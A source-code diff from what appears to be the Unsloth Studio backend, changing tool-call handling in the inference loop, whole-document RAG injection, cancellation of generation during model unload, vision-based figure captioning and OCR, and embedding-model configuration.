content_accum,
id_offset = next_call_id,
allow_incomplete = auto_heal_tool_calls,
enabled_tool_names = _enabled_tool_names,
)
if saw_tool_signal:
safety_tc = parse_tool_calls_from_text(
content_accum,
id_offset = next_call_id,
allow_incomplete = auto_heal_tool_calls,
)
if not safety_tc:
# Final answer: if a literal tool marker in prose was stripped
# during streaming but did not parse as a real call, restore the
# raw cumulative text for core callers. Route-level cleanup can
# still apply the Auto-Heal display policy.
if saw_tool_signal and content_accum:
# Re-prompt once on plan-without-action, before any tool runs
# (GGUF loop parity). The retry is gated on nudge_tool_calls so
# Studio callers (which send True) always nudge, while API callers
# who omit the flag keep today's no-reprompt behavior (opt-in).
stripped_answer = content_accum.strip()
if (
auto_heal_tool_calls
and nudge_tool_calls
and active_tools
and reprompt_count < MAX_ACT_REPROMPTS
and not rag_autoinjected
and not tool_denied
and not any(record.executed for record in tool_controller.history)
and is_short_intent_without_action(stripped_answer)
):
reprompt_count += 1
logger.info(
"Safetensors re-prompt %d/%d: model responded without "
"calling tools (%d chars)",
reprompt_count,
MAX_ACT_REPROMPTS,
len(stripped_answer),
)
conversation.append({"role": "assistant", "content": stripped_answer})
tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool"
conversation.append(
{
"role": "user",
"content": reprompt_to_act_message(tool_hint),
}
)
# Empty status clears the badge and resets the route's
# per-turn text cursor before the re-prompted turn streams.
yield {"type": "status", "text": ""}
continue
# Final answer. If a literal tool marker in prose was buffered but
# never parsed as a call, restore the raw text so the prose surfaces
# in full; route-level cleanup still applies the Auto-Heal policy.
if content_accum and any(sig in content_accum for sig in tool_xml_signals):
yield {"type": "content", "text": content_accum}
else:
# Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real
# prose, release it.
final_clean = strip_tool_markup_streaming(
cumulative_display,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = tool_protocol_active,
enabled_tool_names = _enabled_names_gate,
)
if len(final_clean) > len(last_emitted):
yield {"type": "content", "text": final_clean}
yield {"type": "status", "text": ""}
return
tool_calls = safety_tc
@ -465,31 +923,41 @@ def run_safetensors_tool_loop(
content_accum,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = True,
enabled_tool_names = _enabled_names_gate,
)
logger.info(
"Safetensors safety net: parsed %d tool call(s) from streamed content",
len(tool_calls),
)
else:
# DRAINING: parse tool calls out of full content.
# DRAINING: parse tool calls out of full content. Gate the bare rehearsal on the
# ORIGINAL tool list (``_enabled_names_gate``), the same names detection/strip used to
# drain here: a spent one-shot (render_html) is off the active list but its re-emitted
# ``render_html[ARGS]{..}`` must still parse so it routes to the repeat no-op instead of
# being dropped into a blank continuation.
tool_calls = parse_tool_calls_from_text(
content_accum,
id_offset = next_call_id,
allow_incomplete = auto_heal_tool_calls,
enabled_tool_names = _enabled_names_gate,
)
if not tool_calls:
# Parser found nothing. Auto-Heal-enabled display cleanup
# strips unparseable tool XML; disabled Auto-Heal preserves
# the raw text so literal/malformed markup stays visible.
if content_accum:
yield {
"type": "content",
"text": _strip_tool_markup_final(
content_accum,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = False,
),
}
_drain_text = _strip_tool_markup_final(
content_accum,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = False,
enabled_tool_names = _enabled_tool_names,
)
# Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment
# (plain JSON answers are left untouched); off keeps it visible per the strict contract.
if tool_protocol_active and auto_heal_tool_calls:
_drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names)
if _drain_text:
yield {"type": "content", "text": _drain_text}
if provisional_render_html_started and not provisional_resolved:
provisional_resolved = True
yield {
@ -505,10 +973,14 @@ def run_safetensors_tool_loop(
content_accum,
auto_heal_tool_calls = auto_heal_tool_calls,
tool_protocol_active = True,
enabled_tool_names = _enabled_names_gate,
)
if tool_calls:
next_call_id += len(tool_calls)
# Strip a leading bare-JSON call from the kept content so it isn't replayed as text or
# next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names)
if final_attempt_done:
# Final-answer turn re-called a tool -- stop the loop.
@ -517,6 +989,27 @@ def run_safetensors_tool_loop(
yield {"type": "status", "text": ""}
return
# Collapse exact-duplicate calls and cap the count (runaway-turn guard).
if tool_calls:
seen_keys: set = set()
deduped: list = []
for _tc in tool_calls:
_fn = _tc.get("function", {}) or {}
_key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
if _key in seen_keys:
continue
seen_keys.add(_key)
deduped.append(_tc)
if len(deduped) >= _MAX_TOOL_CALLS_PER_TURN:
break
if len(deduped) != len(tool_calls):
logger.info(
"Safetensors: collapsed %d repeated tool call(s) in one turn to %d",
len(tool_calls),
len(deduped),
)
tool_calls = deduped
assistant_msg: dict = {"role": "assistant", "content": content_text}
assistant_appended = False
@ -593,6 +1086,7 @@ def run_safetensors_tool_loop(
"result": TOOL_REJECTED_MESSAGE,
"provenance": decision.provenance,
}
tool_denied = True
denied_message = {
"role": "tool",
"name": decision.tool_name,
@ -634,6 +1128,8 @@ def run_safetensors_tool_loop(
completion = tool_controller.record_result(decision, result)
if provisional_match:
provisional_resolved = True
# A tool ran this turn, so it counts against the caller's budget.
_turn_executed_real_tool = True
yield completion.tool_end_event()
conversation.append(completion.tool_message())
@ -646,7 +1142,11 @@ def run_safetensors_tool_loop(
if not unrestricted_tools and not tool_controller.active_tools():
final_attempt_done = True
continue
if iteration + 1 >= max_tool_iterations and not final_attempt_done:
# Count only turns that executed a tool against the cap; a no-op correction turn doesn't
# consume budget so the model gets its nudge and another tool-enabled turn (GGUF parity).
if _turn_executed_real_tool:
_executed_tool_iters += 1
if _executed_tool_iters >= max_tool_iterations and not final_attempt_done:
# Budget exhausted; nudge a final plain answer.
final_attempt_done = True
conversation.append({"role": "user", "content": BUDGET_EXHAUSTED_NUDGE})

2858
studio/backend/core/inference/tool_call_parser.py
View file

File diff suppressed because it is too large Load diff

143
studio/backend/core/inference/tools.py
View file

@ -1121,6 +1121,61 @@ def _autoinject_top_k() -> int:
return _AUTOINJECT_DEFAULT_TOP_K
def _thread_whole_doc_enabled(scope: dict) -> bool:
"""Whether a thread-attached file should be injected in full rather than
retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request."""
override = scope.get("whole_doc")
if override is False:
return False
try:
from core.rag import config as _rag_config
except Exception: # noqa: BLE001
return True
return _rag_config.THREAD_WHOLE_DOC
_IMAGE_PART_TOKEN_ESTIMATE = 1024
def _message_token_estimate(conversation: list[dict]) -> int:
"""Cheap prompt-size estimate for budget guards; exact tokenization happens later."""
total = 0
for msg in conversation:
content = msg.get("content")
if isinstance(content, str):
total += max(1, len(content) // 4)
elif isinstance(content, list):
for part in content:
if isinstance(part, dict):
if part.get("type") in ("image_url", "input_image"):
total += _IMAGE_PART_TOKEN_ESTIMATE
else:
total += max(1, len(str(part.get("text") or "")) // 4)
total += 4 # chat-template role / separator overhead estimate
return total
def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int:
try:
from core.rag import config as _rag_config
except Exception: # noqa: BLE001
budget = 6000
else:
budget = _rag_config.WHOLE_DOC_MAX_TOKENS
if not scope:
return budget
context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens"))
if context is None or context <= 0:
return budget
headroom = _opt_int(scope.get("response_headroom"))
if headroom is None:
headroom = max(1024, context // 4)
used = _message_token_estimate(conversation or [])
# Leave room for tool XML wrappers, citation metadata, and chat-template overhead.
available = context - headroom - used - 512
return min(budget, max(0, available))
def _last_user_text(conversation: list[dict]) -> str:
"""Plain text of the most recent user turn (text parts only)."""
for msg in reversed(conversation):
@ -1154,7 +1209,11 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
enabled = rag_scope.get("autoinject")
if enabled is None:
enabled = _autoinject_enabled()
if not enabled:
thread_id = rag_scope.get("thread_id")
whole_doc_requested = (
bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope)
)
if not enabled and not whole_doc_requested:
return None
query = _last_user_text(conversation)
if not query:
@ -1163,35 +1222,81 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
from storage import rag_db
if not rag_db.RAG_AVAILABLE:
return None
from core.rag.tool import search_for_autoinject
from core.rag.tool import render_sources, search_for_autoinject, whole_document_context
except Exception as exc: # noqa: BLE001
logger.warning("RAG auto-inject unavailable: %s", exc)
return None
text: str | None = None
sources: list[dict] = []
floor_override = rag_scope.get("autoinject_min_score")
floor = float(floor_override) if floor_override is not None else _autoinject_floor()
# Cap at the lean top_k, but honor a lower user setting.
lean_k = _autoinject_top_k()
sidebar_k = _opt_int(rag_scope.get("default_top_k"))
top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
try:
found = search_for_autoinject(
query = query,
scope_kb_id = rag_scope.get("kb_id"),
scope_thread_id = rag_scope.get("thread_id"),
scope_project_id = rag_scope.get("project_id"),
top_k = top_k,
min_dense_score = floor,
**_scope_retrieval_kwargs(rag_scope),
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG auto-inject retrieval failed: %s", exc)
return None
if not found:
logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
# Whole-document mode: a thread-attached file under budget is injected in full so
# the model reads everything. A KB selection is exclusive, so whole-doc never
# preempts it; in a project chat the project sources are still retrieved top-K and
# appended under one citation numbering. Oversized files (or no thread doc) fall
# through to the combined top-K retrieval below.
if whole_doc_requested:
try:
budget = _whole_doc_budget(rag_scope, conversation)
whole = whole_document_context(
scope_thread_id = thread_id,
max_tokens = budget,
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG whole-document context failed: %s", exc)
whole = None
if whole is not None:
text, sources = whole
project_id = rag_scope.get("project_id")
if project_id:
try:
proj = search_for_autoinject(
query = query,
scope_project_id = project_id,
top_k = top_k,
min_dense_score = floor,
**_scope_retrieval_kwargs(rag_scope),
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc)
proj = None
if proj is not None:
merged = sources + proj[1]
merged_text = render_sources(merged)
if max(1, len(merged_text) // 4) <= budget:
sources = merged
text = merged_text
logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources))
if text is None and enabled:
try:
found = search_for_autoinject(
query = query,
scope_kb_id = rag_scope.get("kb_id"),
scope_thread_id = rag_scope.get("thread_id"),
scope_project_id = rag_scope.get("project_id"),
top_k = top_k,
min_dense_score = floor,
**_scope_retrieval_kwargs(rag_scope),
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG auto-inject retrieval failed: %s", exc)
return None
if not found:
logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
return None
text, sources = found
if text is None:
return None
text, sources = found
import json as _json
import uuid as _uuid
@ -1236,7 +1341,7 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
"content": text,
},
]
logger.info("RAG auto-inject: %d passage(s) >= %.2f for %r", len(sources), floor, query[:80])
logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80])
return {"events": events, "messages": messages}

58
studio/backend/core/inference/worker.py
View file

@ -406,6 +406,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
)
def _drain_skip_generate(cmd: dict, resp_queue: Any, drain_event) -> bool:
"""Skip a generate queued behind a cancelled one during an unload.
The parent sets ``drain_event`` for the whole unload. Because the parent's
per-token ``cancel_event`` is cleared at the start of every generate, a cancel
set while this generate was still queued would otherwise be lost when it is
dequeued. If the drain is in effect, emit an immediate (empty) ``gen_done`` so
the parent's stream/mailbox drains fast and the switch stays fast, and report
the generate was skipped so the caller does not clear the cancel or run it.
"""
if drain_event is None or not drain_event.is_set():
return False
request_id = cmd.get("request_id", "")
logger.info("Skipping generate for request %s: unload draining", request_id)
_send_response(
resp_queue,
{
"type": "gen_done",
"request_id": request_id,
"cancelled": True,
"stats": None,
},
)
return True
def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
"""Handle a generate command: stream tokens back via resp_queue.
@ -431,6 +457,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
"min_p": cmd.get("min_p", 0.0),
"max_new_tokens": cmd.get("max_new_tokens", 256),
"repetition_penalty": cmd.get("repetition_penalty", 1.0),
"presence_penalty": cmd.get("presence_penalty", 0.0),
"cancel_event": cancel_event,
}
@ -632,7 +659,14 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
)
def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, config: dict) -> None:
def run_inference_process(
*,
cmd_queue: Any,
resp_queue: Any,
cancel_event,
config: dict,
drain_event = None,
) -> None:
"""Subprocess entrypoint. Persistent — runs the command loop until shutdown.
Args:
@ -640,6 +674,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
resp_queue: mp.Queue for sending responses to parent.
cancel_event: mp.Event the parent sets to cancel generation.
config: Initial configuration dict with model info.
drain_event: mp.Event the parent sets for the duration of an unload. Unlike
cancel_event (cleared at the start of every generate), it is never cleared
here, so a generate still queued behind a cancelled one is skipped rather
than run — the cancel survives the queue handoff.
"""
os.environ["TOKENIZERS_PARALLELISM"] = "false"
os.environ["PYTHONWARNINGS"] = "ignore" # Suppress warnings at C-level before imports
@ -715,7 +753,16 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
cmd_type = cmd.get("type", "")
try:
if cmd_type == "generate":
if _drain_skip_generate(cmd, resp_queue, drain_event):
continue
cancel_event.clear()
# Re-check the drain after clearing: the parent sets drain_event
# then cancel_event for an unload, so if that pair landed between
# the check above and this clear, the clear just erased the unload's
# cancel. Skip here so the outgoing model is not run to completion,
# which would stall the switch until the dispatcher idle-timeout.
if _drain_skip_generate(cmd, resp_queue, drain_event):
continue
_handle_generate(backend, cmd, resp_queue, cancel_event)
elif cmd_type == "load":
if backend.active_model_name:
@ -918,7 +965,16 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
try:
if cmd_type == "generate":
if _drain_skip_generate(cmd, resp_queue, drain_event):
continue
cancel_event.clear()
# Re-check the drain after clearing: the parent sets drain_event then
# cancel_event for an unload, so if that pair landed between the check
# above and this clear, the clear just erased the unload's cancel. Skip
# here so the outgoing model is not run to completion, which would stall
# the switch until the dispatcher idle-timeout tears the subprocess down.
if _drain_skip_generate(cmd, resp_queue, drain_event):
continue
_handle_generate(backend, cmd, resp_queue, cancel_event)
elif cmd_type == "load":

175
studio/backend/core/rag/captioner.py
View file

@ -1,9 +1,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Caption figures with the loaded vision model and splice the text into the page
so images are searchable via the normal FTS5 + dense path. No-op (never raises)
without a vision model or on failure; gated by ``config.CAPTION_IMAGES``."""
"""Vision-model helpers for ingestion: figure captioning and scanned-page OCR.
Both turn pixels into indexable text and are a no-op (never raise) without a loaded
vision model. They reuse the chat model's vision endpoint, so it must be served with
``--ubatch-size`` >= one image's tokens (some encoders, e.g. Gemma, attend
non-causally and abort otherwise); Studio's vision chat already requires this."""
from __future__ import annotations
@ -15,11 +18,54 @@ from . import config
logger = logging.getLogger(__name__)
_CAPTION_PROMPT = (
"Describe this figure or image from a document in one or two concise "
"sentences, for search indexing. State what it depicts (e.g. a diagram, "
"chart, table or photo) and its key content. Do not add commentary."
"Read this figure or image from a document for search indexing.\n"
"First, on a line 'TEXT:', transcribe every piece of visible text exactly as "
"written, in reading order: the title, axis labels and units, legend and series "
"names, EVERY box / node / arrow label, table headers and cells, equations, and "
"footnotes. List each distinct label even if it is small.\n"
"Then, on a line 'SUMMARY:', add one or two sentences on what it shows (chart "
"type and trend, diagram subject, table topic, or photo content).\n"
"Report only what is visible. Transcribe exactly; do not invent or guess any "
"text, label, or number."
)
_OCR_PROMPT = (
"Transcribe all text on this document page exactly as it appears, in reading "
"order, including any text inside figures, diagrams, charts, and tables (keep "
"table rows readable). Output only the transcribed text, with no commentary or "
"code fences. Preserve headings, lists, and line breaks. If the page has no "
"readable text, output nothing."
)
def _collapse_runaway(
text: str,
max_repeat: int = 3,
max_total: int = 8,
) -> str:
"""Cap runaway repetition: vision models sometimes loop a line many times. Keep
each distinct line to ``max_repeat`` in a row and ``max_total`` total, and collapse
blank-line floods, so a degenerate page cannot flood the index."""
out: list[str] = []
seen: dict[str, int] = {}
prev: str | None = None
run = 0
for line in text.splitlines():
key = line.strip()
if not key:
if prev == "": # collapse runs of blank lines to a single separator
continue
prev = ""
out.append("")
continue
run = run + 1 if key == prev else 1
prev = key
seen[key] = seen.get(key, 0) + 1
if run > max_repeat or seen[key] > max_total:
continue
out.append(line)
return "\n".join(out)
def vision_endpoint() -> tuple[str, str] | None:
"""``(base_url, model)`` for a loaded vision GGUF model, else None."""
@ -33,7 +79,28 @@ def vision_endpoint() -> tuple[str, str] | None:
return None
def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
def _vision_auth_headers() -> dict | None:
"""Bearer header for the backend's API, or None. Vision calls share the chat
endpoint, so they need the same key under direct-stream (``--api-key``) mode."""
try:
from routes.inference import get_llama_cpp_backend
return get_llama_cpp_backend()._auth_headers or None
except Exception: # noqa: BLE001 - auth discovery must never break ingestion
return None
def _vision_complete(
base_url: str,
model: str,
image_bytes: bytes,
*,
prompt: str,
timeout: float,
max_tokens: int,
temperature: float = 0.0,
) -> str | None:
"""One image-in / text-out call to the loaded vision model's OpenAI-compatible
endpoint. Returns the stripped text or ``None`` on empty/failure (non-fatal)."""
import httpx
data_url = "data:image/png;base64," + base64.b64encode(image_bytes).decode("ascii")
@ -43,33 +110,64 @@ def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float)
{
"role": "user",
"content": [
{"type": "text", "text": _CAPTION_PROMPT},
{"type": "text", "text": prompt},
{"type": "image_url", "image_url": {"url": data_url}},
],
}
],
"max_tokens": 200,
"temperature": 0.2,
"max_tokens": max_tokens,
# Deterministic by default: transcription must not randomly drop labels.
"temperature": temperature,
"stream": False,
# Off: thinking models would spend the budget reasoning, returning "".
"chat_template_kwargs": {"enable_thinking": False},
}
try:
r = httpx.post(f"{base_url}/v1/chat/completions", json = payload, timeout = timeout)
r = httpx.post(
f"{base_url}/v1/chat/completions",
json = payload,
timeout = timeout,
headers = _vision_auth_headers(),
# trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY.
trust_env = False,
)
r.raise_for_status()
text = r.json()["choices"][0]["message"]["content"]
return text.strip() or None
except Exception: # noqa: BLE001 - a failed caption is non-fatal
logger.debug("caption request failed", exc_info = True)
except Exception: # noqa: BLE001 - a failed vision call is non-fatal
logger.debug("vision request failed", exc_info = True)
return None
def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
return _vision_complete(
base_url,
model,
image_bytes,
prompt = _CAPTION_PROMPT,
timeout = timeout,
max_tokens = config.CAPTION_MAX_TOKENS,
)
def _ocr_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
return _vision_complete(
base_url,
model,
image_bytes,
prompt = _OCR_PROMPT,
timeout = timeout,
max_tokens = config.OCR_MAX_TOKENS,
)
def caption_images(
images: list, *, endpoint: tuple[str, str] | None = None
) -> dict[int, list[str]]:
"""Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when
disabled, no vision model, or no images. Bounded by ``CAPTION_MAX_IMAGES``."""
if not config.CAPTION_IMAGES or not images:
"""Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when there
are no images or no vision model. The caller (`ingestion._run`) owns the on/off
policy. Bounded by ``CAPTION_MAX_IMAGES``; each caption passes ``_collapse_runaway``."""
if not images:
return {}
ep = endpoint or vision_endpoint()
if ep is None:
@ -84,7 +182,50 @@ def caption_images(
caption = _caption_one(base_url, model, image_bytes, config.CAPTION_TIMEOUT_S)
if caption:
page = getattr(img, "page_number", None) or 0
out.setdefault(int(page), []).append(caption)
out.setdefault(int(page), []).append(_collapse_runaway(caption))
return out
def ocr_pages(
page_pngs: dict[int, bytes], *, endpoint: tuple[str, str] | None = None
) -> dict[int, str]:
"""OCR rendered page PNGs (keyed by 1-based page number) to text; ``{}`` when there
is no vision model or no pages. The caller (`ingestion._ocr_scanned_pages`) owns the
on/off policy. Bounded by ``OCR_MAX_PAGES``."""
if not page_pngs:
return {}
ep = endpoint or vision_endpoint()
if ep is None:
return {}
base_url, model = ep
out: dict[int, str] = {}
for page_num in sorted(page_pngs)[: config.OCR_MAX_PAGES]:
text = _ocr_one(base_url, model, page_pngs[page_num], config.OCR_TIMEOUT_S)
if text:
out[int(page_num)] = _collapse_runaway(text)
return out
def merge_page_captions(captions: dict[int, list[str]]) -> dict[int, list[str]]:
"""Merge a page's per-tile captions into one deduped block: drop lines repeated
across overlapping tiles (first kept, order preserved), then ``_collapse_runaway``,
so ``splice_captions`` adds a single figure block per page."""
out: dict[int, list[str]] = {}
for page, caps in captions.items():
seen: set[str] = set()
lines: list[str] = []
for cap in caps:
for line in (cap or "").splitlines():
stripped = line.strip()
key = stripped.lower()
if not stripped or key in seen:
continue
seen.add(key)
lines.append(stripped)
merged = _collapse_runaway("\n".join(lines))
if merged.strip():
out[page] = [merged]
return out

90
studio/backend/core/rag/config.py
View file

@ -6,8 +6,10 @@
from __future__ import annotations
import os
import re
EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5")
DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5"
EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL)
# Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow:
# llama-server 500s, ST truncates). Keep <= embedder_max - ~12.
CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500"))
@ -17,18 +19,92 @@ TOP_K_DENSE = int(os.environ.get("RAG_TOP_K_DENSE", "30"))
TOP_K_HYBRID = int(os.environ.get("RAG_TOP_K_HYBRID", "10"))
RRF_K = int(os.environ.get("RAG_RRF_K", "60"))
UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
# Whole-document context: a thread-attached file under the token budget is injected
# in full (every chunk, in order) instead of top-K retrieval; above it, use retrieval.
THREAD_WHOLE_DOC = os.environ.get("RAG_THREAD_WHOLE_DOC", "1") == "1"
WHOLE_DOC_MAX_TOKENS = int(os.environ.get("RAG_WHOLE_DOC_MAX_TOKENS", "6000"))
# Figure captioning via the loaded vision model; off by default since each caption
# is a model call. MAX_IMAGES bounds per-doc cost.
CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "0") == "1"
CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "8"))
CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "30"))
UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
# Reject uploads larger than this, so one pathological file can't drive unbounded parse
# + vision work at ingest. 0 disables the cap. Default 200 MB.
MAX_UPLOAD_BYTES = int(os.environ.get("RAG_MAX_UPLOAD_BYTES", str(200 * 1024 * 1024)))
# Extract PDF text as layout-aware Markdown (pymupdf4llm) instead of flat text, so
# tables, headings and lists survive into chunks and retrieval. Falls back to plain
# PyMuPDF text when off, when pymupdf4llm is missing, or when extraction fails.
PDF_MARKDOWN = os.environ.get("RAG_PDF_MARKDOWN", "1") == "1"
# Figure captioning via the loaded vision model: detected figures are transcribed +
# described so they become searchable. On by default, a no-op without a vision model;
# the chat's "Describe figures & charts" toggle overrides it per upload.
CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "1") == "1"
# Total per-document tile budget (figure-bearing pages are tiled, see below).
CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "24"))
CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "60"))
# Larger than a one-line caption since captions transcribe every label. FIGURE_DPI is
# high enough to keep small box/axis labels legible when tiles are rendered.
CAPTION_MAX_TOKENS = int(os.environ.get("RAG_CAPTION_MAX_TOKENS", "768"))
FIGURE_DPI = int(os.environ.get("RAG_FIGURE_DPI", "200"))
# Figure pages are tiled into an overlapping ROWS x COLS grid of high-DPI tiles (plus
# an optional full page), so small labels and every sub-figure are covered without
# exact region detection. MAX_PAGES bounds figure pages; MAX_IMAGES bounds total tiles.
FIGURE_TILE_ROWS = int(os.environ.get("RAG_FIGURE_TILE_ROWS", "2"))
FIGURE_TILE_COLS = int(os.environ.get("RAG_FIGURE_TILE_COLS", "2"))
FIGURE_TILE_OVERLAP = float(os.environ.get("RAG_FIGURE_TILE_OVERLAP", "0.12"))
FIGURE_FULLPAGE = os.environ.get("RAG_FIGURE_FULLPAGE", "1") == "1"
CAPTION_MAX_PAGES = int(os.environ.get("RAG_CAPTION_MAX_PAGES", "4"))
# Scanned-PDF OCR: a page with little extractable text is rendered and transcribed by
# the vision model so it becomes searchable. Needs a vision model, else skipped (page
# stays empty). MIN_CHARS is the text length below which a page is treated as scanned.
OCR_SCANNED = os.environ.get("RAG_OCR_SCANNED", "1") == "1"
OCR_MIN_CHARS = int(os.environ.get("RAG_OCR_MIN_CHARS", "16"))
OCR_MAX_PAGES = int(os.environ.get("RAG_OCR_MAX_PAGES", "20"))
OCR_DPI = int(os.environ.get("RAG_OCR_DPI", "150"))
OCR_TIMEOUT_S = float(os.environ.get("RAG_OCR_TIMEOUT_S", "60"))
OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048"))
# Embedder backend. "auto": sentence-transformers on a CUDA/ROCm GPU (torch fp16
# wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes
# the vectors, so the index must be rebuilt.
EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto")
def effective_embedding_model() -> str:
"""The embedding model actually in use: the persisted Settings override when
one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a
Settings change applies without a restart."""
try:
from utils.embedding_model_settings import get_rag_embedding_model
return get_rag_embedding_model()
except Exception: # noqa: BLE001 - settings store unavailable (tests, early boot)
return EMBEDDING_MODEL
def _names_gguf(model: str) -> bool:
"""True when "gguf" appears as a whole name segment, so plain substrings
like "bigguf" don't count."""
return "gguf" in re.split(r"[^a-z0-9]+", model.lower())
def effective_gguf_repo() -> str:
"""GGUF repo for the llama-server backend, tracking the effective model.
An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom
model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its
``-GGUF`` companion repo (the unsloth convention the default pair follows),
or is used as-is when it already names a GGUF repo.
"""
if "RAG_EMBED_GGUF_REPO" in os.environ:
return EMBED_GGUF_REPO
model = effective_embedding_model()
if model == DEFAULT_EMBEDDING_MODEL:
return EMBED_GGUF_REPO
if _names_gguf(model):
return model
return f"{model}-GGUF"
# llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this
# tiny model) and exact vs fp32, for ~30MB more on disk.
EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF")

115
studio/backend/core/rag/embed_llama_server.py
View file

@ -55,15 +55,20 @@ class LlamaServerBackend:
self._port: int | None = None
self._stdout_lines: list[str] = []
self._stdout_thread: threading.Thread | None = None
# No lock: probes are idempotent (a duplicate 1-text encode is benign)
# and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can
# re-enter on a mid-probe model change, which would self-deadlock a
# non-reentrant lock held across the probe.
self._dim: int | None = None
self._dim_lock = threading.Lock()
self._model_path: str | None = None
# Effective GGUF repo the cached path/dim belong to; a Settings change
# makes it stale, forcing a re-resolve + respawn (see _ensure_ready).
self._model_repo: str | None = None
self._binary: str | None = None
# Sticky after an auto GPU start fails: later spawns stay on CPU.
self._force_cpu = False
# Pooled client; requests pass full URLs, so a respawn's new port needs
# no rebuild.
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S)
# Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY.
self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False)
atexit.register(self._shutdown)
@property
@ -115,24 +120,77 @@ class LlamaServerBackend:
"RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build"
)
@staticmethod
def _resolve_local_gguf(model: str) -> str | None:
"""A custom model may be a local .gguf file or a directory holding one;
resolve it without the hub. None when the value is not a local path."""
p = Path(model).expanduser()
if p.is_file() and p.suffix.lower() == ".gguf":
return str(p)
if p.is_dir():
files = [
f
for f in p.iterdir()
if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower()
]
if not files:
raise RuntimeError(f"no .gguf file found in local model dir {model!r}")
variant = config.EMBED_GGUF_VARIANT.lower()
match = [f for f in files if variant in f.name.lower()] or files
return str(sorted(match, key = lambda f: len(f.name))[0])
return None
def _resolve_model_path(self) -> str:
"""Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder,
returning its local path."""
if self._model_path is not None:
returning its local path. Re-resolves when the effective repo changed (a
custom model was saved in Settings)."""
# Captured once: if the setting changes mid-download, the path must stay
# tagged with the repo it was resolved FOR, so _current() sees the new
# setting as stale and respawns instead of serving the old model.
desired = config.effective_gguf_repo()
if self._model_path is not None and self._model_repo == desired:
return self._model_path
local = self._resolve_local_gguf(config.effective_embedding_model())
if local is not None:
self._model_path = local
self._model_repo = desired
